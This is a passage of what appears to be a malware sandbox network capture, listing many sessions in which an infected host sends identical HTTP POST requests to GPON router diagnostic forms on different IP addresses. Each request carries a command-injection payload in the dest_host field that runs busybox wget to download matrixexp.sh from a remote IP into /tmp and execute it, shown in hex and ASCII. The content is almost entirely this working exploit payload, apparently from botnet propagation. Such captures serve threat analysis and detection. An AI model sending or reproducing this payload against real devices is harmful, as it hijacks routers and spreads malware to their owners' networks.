Mar 21, 2024 05:18:33.907723904 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1045	192.168.2.13	40886	2.56.35.107	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.907725096 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1046	192.168.2.13	34180	37.59.183.204	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.907744884 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1047	192.168.2.13	36042	210.60.145.177	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.907824993 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1048	192.168.2.13	42300	109.77.171.17	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.907844067 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1049	192.168.2.13	56662	79.197.45.81	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.907852888 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1050	192.168.2.13	55936	37.77.48.70	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.907905102 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1051	192.168.2.13	54480	79.21.212.29	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.907911062 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1052	192.168.2.13	51048	5.213.244.140	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.907948017 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1053	192.168.2.13	51822	210.10.124.35	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.908025026 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1054	192.168.2.13	44068	5.129.50.193	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.908056021 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1055	192.168.2.13	43052	109.111.185.217	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.908071041 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1056	192.168.2.13	56440	94.81.15.43	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.908103943 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1057	192.168.2.13	37334	210.191.47.219	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.908158064 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1058	192.168.2.13	56116	94.234.180.116	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.908221960 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1059	192.168.2.13	43228	42.87.123.11	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.908221960 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1060	192.168.2.13	40506	210.49.51.75	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.908263922 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1061	192.168.2.13	38508	2.249.89.138	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.908329010 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1062	192.168.2.13	59718	94.106.85.196	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.908354998 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1063	192.168.2.13	59566	118.167.82.25	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.908375978 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1064	192.168.2.13	35114	210.151.255.140	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.908389091 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1065	192.168.2.13	41104	94.122.210.21	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.908396959 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1066	192.168.2.13	34716	2.198.42.75	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.908478975 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1067	192.168.2.13	57426	210.140.173.156	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.908493996 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1068	192.168.2.13	55276	178.183.168.1	443

Timestamp	Bytes transferred	Direction	Data
